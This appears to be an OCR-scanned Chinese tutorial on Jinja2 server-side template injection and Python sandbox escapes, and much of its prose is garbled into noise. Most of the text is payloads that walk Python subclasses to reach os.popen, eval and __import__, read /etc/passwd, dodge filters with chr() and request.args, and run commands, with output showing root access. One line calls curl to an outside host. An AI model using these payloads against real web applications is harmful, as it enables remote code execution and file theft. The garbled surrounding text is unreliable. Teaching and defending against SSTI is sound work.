' (— | ¢ @ l ( [0]._subclasses_Q[59]._init_. globals_. builtins_.eval("_import_(fos").popen(ls).read)")}} v &2
Bl Pio~ws PLaw™r Pradmise S0 Onr g or e foedvshl Uf et At 1 s

a.txt app.py app-pyc error.html

< | 1 v
855
SEIRBLChrg ¥, WME%chr, FHEPHEFRFH

{% set

chr=(). «class . bases . getitem (0). subclasses ()
[59]. init . globals . Dbuiltins .chr

S}

(). class . bases . getitem (0). subclasses () .pop(40)

(chr (47) %2bchr (101) $2bchr (116) $2bchr (99) $2bchr (47) $2bchr (112) $2bchr (97) $2bchr (11
H}

4 1 | 3

HE fEBrequesti &:  (XFMITEED EMAIT, Eweb T 41T, FARELS)

{{ (). class . Dbases . getitem (0). subclasses () .pop(40)
(request.args.path) .read () }}&path=/etc/passwd

PS: ¥ 3 diirequest.argsii Nrequest.valuesil F| f posti 5 Rt 17462

PAT A2

% set
chr=(). «class . bases . getitem (0). subclasses ()
[59]. init . globals . Dbuiltins .chr

s
(). class . bases . getitem (0). subclasses ().pop(59). init .func glo

I8

4| 1 | b



https://p1.ssl.qhimg.com/t012afebf2cc02e73a6.png

{{
(). class . bases . getitem (0). subclasses ().pop(59). init .func glo
I8

&cmd=id
a 1 | ¥

LI RIZR__

{{

''"[request.args.class] [request.args.mro] [2] [request.args.subclasses] () [40]

('"/etc/passwd') .read ()

}}&class=_class_&mro=_mro &subclasses=_ subclasses
T3
{% if ''._class__._mro__[2].__subclasses_ ()[59].__init__.func_globals.linecache.os.popen('curl http://xx

reloadJy ¥
CTFEH Y S Er fe W E — ik, HPNERHEFZFX2BMER. WFreloadit vy LAR T A] DL E £,

del _ builtins__ . dict_ ['_ import_ ']
del _ builtins_ . dict_ ['eval']
del _ builtins__ . dict_ ['execfile']

reload(__builtins_ )

__getattribute___J5 &

RAFEZHAAL T, KPR

[]._class__ . base__._subclasses_ ()[60].__init . getattribute_ ('func_global'+'s"')['linecache']._ dict
# EMT
[].__class__ . base__ . subclasses_ ()[60].__init__.func_globals['linecache'].__dict__.values()[12]

EZESH: LB

pIffE A B 45SSTI Bypass

0x07 SSTHz il iE A

Z BT ERATI R — L& ] F payload#f & B Epython @28 Bl . w58 LR %, Y& aees BN
ARG, WRIBFISSTI, FATEENIE—python-webHE L ik payloadm] A, I—A— K iERF IR A
18, X Bk 77 2 AR A I 11 4] R B AR #R1E .


https://0day.work/jinja2-template-injection-filter-bypasses/
https://p0sec.net/index.php/archives/120/

{% for c in [].__class__. base_ ._ subclasses_ () %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__ . _globals__ .values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import_ ("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

ARYE R T SR 2 K A R TR, W] DA B AT BE SRS B B E R .

&« ¢ o Q 4 Bma -1 #{% forcin[]. class . base . subclasses () %}{% if c. name == 'catch warnings'®
Bl v PemeeTi B LaATE S mleacre Q) S, Al Crravrim Trarriapl peta i il e e

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys).4(adm),6(disk), 10(wheel),11(floppy),20(dialout),26(tape),27(video)

fipwil g P9 9|

LI

< |

B ZEjinja24= g )

0x08 7 4+ ¥ 1E
AFF__globals__

[]._class__ . base__. subclasses_ ()[59]()._module.linecache.os.system('ls")

timeit

import timeit
timeit.timeit("__import__ ('os').system('dir')",number=1)

platform

import platform
print platform.popen('dir').read()

from_object

RTRIBELA SR, FHESH: (LX)


https://p5.ssl.qhimg.com/t01fff2fa15a1c5944c.png
https://blog.csdn.net/u011377996/article/details/86776181
https://www.freebuf.com/articles/web/98619.html
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